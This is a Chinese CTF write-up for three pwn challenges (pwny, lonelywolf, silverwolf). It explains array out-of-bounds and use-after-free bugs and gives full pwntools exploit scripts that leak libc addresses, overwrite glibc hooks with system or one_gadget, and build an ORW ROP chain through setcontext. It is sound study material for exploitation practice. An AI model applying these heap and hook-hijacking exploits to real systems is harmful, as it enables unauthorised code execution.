一、pwny
先checksec一下
保护全开了,进入ida看看代码。
三个功能,主要看read和write两个,其次注意在循环的顶上有个函数。
这里面,有一个定义的变量,存放了随机数的文字描述符。这里的变量作为后面两个功能里面的read的第一个参数,所以我们是无法输入数据的。
进入write函数,这里数组存在越界,可以通过这里修改两次,把之前那个变量修改为0。这里是这么理解的:第一次修改,是把随机数里面的一个数据替换文字描述符,然后在来一次,由于这个随机数不会对应一个打开的文件,所以read不执行,v2仍然是0,就成功修改了。因为这题开启了PIE加上本就有的ASLR,我们要泄露的地址有两个,一个是PIE,另一个是libc
在read功能里面有个__print_chk,在汇编代码可以看见,第三个参数是可以被栈顶的内容影响,而这是我们可以输入的,所以继续数组越界
分别泄露出.bss段上的stdrr,以及data里面存在一个该地址的偏移,可以看出来方向是对了,主题人给的条件。
这是计算泄露出的地址距离libc_base的偏移
最后劫持exit_hook为system,并且找到exit对应的参数位置,将其修改为”/bin/sh\x00”。大佬的思维是真滴强!膜拜!
exp1:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| from pwn import * p=process('./1') libc =ELF('./libc-2.27.so') def write_s(idx): p.recvuntil("Your choice:") p.sendline("2") p.recvuntil("Index: ") p.sendline(str(idx)) def read_s(idx): p.recvuntil("Your choice:") p.sendline("1") p.recvuntil("Index: ") p.send(p64(idx)) write_s(0x100) write_s(0x100) read_s(0xFFFFFFFFFFFFFFFC) p.recvuntil("Result: ") libc.address = int(p.recv(12),16) -0x3ec680 print hex(libc.address) read_s(0xFFFFFFFFFFFFFFF5) p.recvuntil("Result: ") pie = int(p.recv(12),16)+0x58 print hex(pie) write_s((libc.address+0x61b968 - pie)/8) p.sendline('/bin/sh\x00') gdb.attach(p) write_s((libc.address+0x61bf60 - pie)/8) p.sendline(p64(libc.sym['system']))
p.sendline('3') p.interactive()
|
第二种做法涉及到一个知识点,scanf函数在遇到过长输入时会申请堆。前面在泄漏PIE和libc是一致的,getshell时,让数组越界访问到__malloc_hook那边去,写入one_gadget
exp2:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| from pwn import * p=process('./1')
def write(idx): p.recvuntil("Your choice: ") p.sendline("2") p.recvuntil("Index: ") p.sendline(str(idx))
def write_con(idx, con): p.recvuntil("Your choice: ") p.sendline("2") p.recvuntil("Index: ") p.sendline(str(idx)) p.send(con)
def read(con): p.recvuntil("Your choice: ") p.sendline("1") p.recvuntil("Index: ") p.send(con)
write(256) write(256)
read(p64(0xfffffffffffffffc)) p.recvuntil("Result: ") info = p.recvuntil("\n") libc_info = int(info, 16) print("stderr: ", hex(libc_info))
read(p64(0xfffffffffffffff5)) p.recvuntil("Result: ") info = p.recvuntil("\n", drop=True) code_base = int(info, 16)-0x202008 print("code base: ", hex(code_base))
libc = ELF("./libc-2.27.so") base = libc_info-libc.sym["_IO_2_1_stderr_"] print "libc base: ", hex(base) m_hook = base+libc.sym["__malloc_hook"] print "m_hook: ", hex(m_hook) realloc = base+libc.sym["realloc"] print"realloc: ", hex(realloc) oneshot = [0x4f3d5, 0x4f432, 0x10a41c] oneshot = base+oneshot[2] print"oneshot: ", hex(oneshot)
offset = (m_hook-code_base-0x202060)/8 print"offset: ", offset write_con(int(offset), p64(realloc+9)) gdb.attach(p) write_con(int(offset-1), p64(oneshot)) p.sendlineafter(":", b"1"*0x400)
p.interactive()
|
第三种在栈上进行跳转,这里就不修改和解释了,一个大佬直接复制过来的,就纯粹记录知识点:libc中environ存储了栈上环境变量
exp3:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| from pwn import *
ld_path = "/home/fanxinli/ctf_go/glibc-2.27-64/lib/ld-2.27.so"
p = process([ld_path, "./pwny"])
def write(idx): p.recvuntil("Your choice: ") p.sendline("2") p.recvuntil("Index: ") p.sendline(str(idx))
def write_con(idx, con): p.recvuntil("Your choice: ") p.sendline("2") p.recvuntil("Index: ") p.sendline(str(idx)) p.send(con)
def read(con): p.recvuntil("Your choice: ") p.sendline("1") p.recvuntil("Index: ") p.send(con)
write(256) write(256)
read(p64(0xfffffffffffffffc)) p.recvuntil("Result: ") info = p.recvuntil("\n", drop=True) libc_info = int(info, 16) print("stderr: ", hex(libc_info))
read(p64(0xfffffffffffffff5)) p.recvuntil("Result: ") info = p.recvuntil("\n", drop=True) code_base = int(info, 16)-0x202008 print("code base: ", hex(code_base))
libc = ELF("/home/fanxinli/ctf_go/glibc-2.27-64/lib/libc-2.27.so") base = libc_info-libc.sym["_IO_2_1_stderr_"] environ = base+libc.sym["environ"] print("environ: ", hex(environ)) oneshot = [0x415b6, 0x4160a, 0xdfae1] oneshot = base+oneshot[0]
offset = int((environ-code_base-0x202060)/8) read(p64(offset & 0xffffffffffffffff)) p.recvuntil("Result: ") info = p.recvuntil("\n", drop=True) write_ret = int(info, 16)-0x118 print("write_ret: ", hex(write_ret))
offset = int((write_ret-code_base-0x202060)/8) write_con(offset, p64(oneshot))
p.interactive()
|
二、lonelywolf
程序存在UAF,double free把堆块申请到tcache 上,将之释放得到libc,然后分配到malloc_hook上执行one_gadget即可,注意的是double free时,要free一次后往里面写数据覆盖key,绕过检查,才能二次free
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
|
from pwn import * context(arch='amd64',os='linux',log_level='debug')
p=process('./2') elf=ELF('./2') libc=ELF('./libc-2.27.so') __malloc_hook=libc.sym['__malloc_hook']
def allocate(size): p.sendlineafter("choice: ",'1') p.sendlineafter("Index: ",'0') p.sendlineafter("Size: ",str(size)) def edit(content): p.sendlineafter("choice: ",'2') p.sendlineafter("Index: ",'0') p.sendlineafter("Content: ",content) def show(): p.sendlineafter("choice: ",'3') p.sendlineafter("Index: ",'0') def delete(): p.sendlineafter("choice: ",'4') p.sendlineafter("Index: ",'0')
allocate(0x60) delete() edit(p64(0)) delete() show() p.recvuntil("Content: ") heap=u64(p.recv(6).ljust(8,'\0')) log.info("heap addr:" + hex(heap)) edit(p64(heap - 0x250)) allocate(0x60) allocate(0x60) for i in range(0,8): edit(p64(0)) delete() show() p.recvuntil("Content: ") libc_base = u64(p.recv(6).ljust(8,'\0')) - 0x3ebca0 one_gadget = libc_base + 0x10a41c __malloc_hook = libc_base + __malloc_hook log.info("libc base:0x%x" %libc_base) log.info("__malloc_hook:0x%x" %__malloc_hook) log.info("one_gadget:0x%x" %one_gadget) allocate(0x50) edit(p64(0)) allocate(0x10) edit(p64(__malloc_hook)) delete() edit(p64(__malloc_hook)) allocate(0x10) allocate(0x10) edit(p64(one_gadget)) gdb.attach(p,"b*main") allocate(0x20) p.interactive()
|
silverwolf
时隔几月,总算是有能力来复现了,真不容易,不忘初心,砥砺前行!
image-20210925084726694
常规checksec,64位保护全开
image-20210925084839791
image-20210925084858088
程序一开始就初始化了沙箱,看来是道orw的题了
image-20210925085147596
add功能里面,只能申请小等于0x78的堆块,然后堆块结构体只存放一个堆块,也就是我们后续操作只能对着当前堆块进行
image-20210925085714119
delete功能存在UAF漏洞
image-20210925085753680
show功能打印堆块内容
image-20210925090452594
edit功能往堆块里面写内容
image-20210925091304553
由于开启沙箱,堆块存在十分多,把存放有堆地址的堆块申请出来,泄露堆地址
image-20210925094259648
image-20210925094827325
通过得到的堆地址,以及UAF把堆块申请到tcache上去,然后修改tcache entries,破坏结构,然后释放tcache,得到libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| add(0x60) show() p.recvuntil("Content: ") heap_addr = u64(p.recv(6).ljust(8, '\x00')) - 0x10d0 log.info("heap_addr==>0x%x" %heap_addr) free() edit(p64(heap_addr + 0x10)) add(0x60) add(0x60) payload = p64(0x0002020200000002) + p64(0) + p64(0x0707070707070707)*6 edit(payload) free() show() p.recvuntil("Content: ") libc_base = u64(p.recv(6).ljust(8, '\x00')) - 0x3EBCA0 log.info("libc_base==>0x%x" %libc_base)
setcontext = libc_base + libc.sym['setcontext'] + 53 free_hook = libc_base + libc.sym['__free_hook'] mprotect = libc_base + libc.sym['mprotect']
|
image-20210925102647508
image-20210925163718481
image-20210925163939660
image-20210925164137807
image-20210925165150750
由于前面产生libc地址破坏了堆块,所以要再重新修复一下,并且还要继续利用,所以在修复的同时也要再次覆盖chunk在上面,因为我们的申请的堆块大小有限制,所以要从把堆块劫持到0x20开始(前0x40是count),然后这边生成出的堆块是0x40,刚好,如果是从0x20开始,一直到0x80都是我们能申请的大小,而这跨度刚好是0x38,十分巧妙!膜拜大佬!
image-20210925104646878
然后就是往那个堆块填充我们需要分配堆块的地址,就可以一块块的分配出去,完成free_hook写setcontext,设置’./flag\x00’地址,gadget所需寄存器的值设置以及rop填充地址,等等
image-20210925174414433
这里说一下,要用系统调用来调用open函数,否则会在运行到open函数直接报错退出,具体不懂,我跟踪到open函数发现fd分配到的数值很大,rdi什么的也是不对劲,具体原因不明白,然后就是,后面虽然一个堆块放不下rop,但是,分配出去的堆块我惊讶的发现是没有堆头的,所以rop仍然是连贯的
总的来说,还是完成了!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87
|
from pwn import * context(arch = 'amd64',os = 'linux') elf = ELF("./1") libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so")
ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/ld-2.27.so") p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})
def debug(): gdb.attach(p,"b *main")
def add(size): p.sendlineafter("choice: ",'1') p.sendlineafter("Index: ",'0') p.sendlineafter("Size: ",str(size)) def edit(content): p.sendlineafter("choice: ",'2') p.sendlineafter("Index: ",'0') p.sendlineafter("Content: ",content) def show(): p.sendlineafter("choice: ",'3') p.sendlineafter("Index: ",'0') def free(): p.sendlineafter("choice: ",'4') p.sendlineafter("Index: ",'0')
add(0x60) show() p.recvuntil("Content: ") heap_addr = u64(p.recv(6).ljust(8, '\x00')) - 0x10d0 log.info("heap_addr==>0x%x" %heap_addr) free() edit(p64(heap_addr + 0x10)) add(0x60) add(0x60) payload = p64(0x0002020200000002) + p64(0) + p64(0x0707070707070707)*6 edit(payload) free() show() p.recvuntil("Content: ") libc_base = u64(p.recv(6).ljust(8, '\x00')) - 0x3EBCA0 log.info("libc_base==>0x%x" %libc_base)
setcontext = libc_base + libc.sym['setcontext'] + 53 free_hook = libc_base + libc.sym['__free_hook'] pop_rdi = 0x00000000000215bf + libc_base pop_rsi = 0x0000000000023eea + libc_base pop_rdx = 0x0000000000001b96 + libc_base pop_rax = next(libc.search(asm('pop rax\nret'))) + libc_base ret = 0x00000000000008aa + libc_base syscall = next(libc.search(asm("syscall\nret"))) + libc_base read = libc_base + libc.sym["read"] write = libc_base + libc.sym["write"]
rop_addr = heap_addr+0x1000 flag_addr = heap_addr+0x2000
rop = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall) rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx)+ p64(0x50) + p64(read) rop += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx)+ p64(0x50) + p64(write) log.info("orw rop len is: " + hex(len(rop))) add(0x48) payload = p64(0)*9 edit(payload) for i in range(5): add(0x10) add(0x18) edit(p64(heap_addr + 0x50)) add(0x38) payload = p64(free_hook) + p64(flag_addr) + p64(heap_addr + 0x2000) payload += p64(heap_addr + 0x20A0) + p64(rop_addr) + p64(rop_addr+0x50) + p64(0) edit(payload) add(0x10) edit(p64(setcontext)) add(0x20) edit("./flag\x00") add(0x40) edit(p64(rop_addr) + p64(ret)) add(0x50) edit(rop[:0x50]) add(0x60) edit(rop[0x50:]) add(0x30) free() p.interactive()
|
由于其他的题目我还未彻底学会,所以这里贴上大佬的博客,里面有其他题目的wp:
https://blog.csdn.net/A951860555/article/details/116910945?utm_medium=distribute.pc_relevant.none-task-blog-baidujs_title-0&spm=1001.2101.3001.4242
https://nuoye-blog.github.io/2021/05/16/466a7375/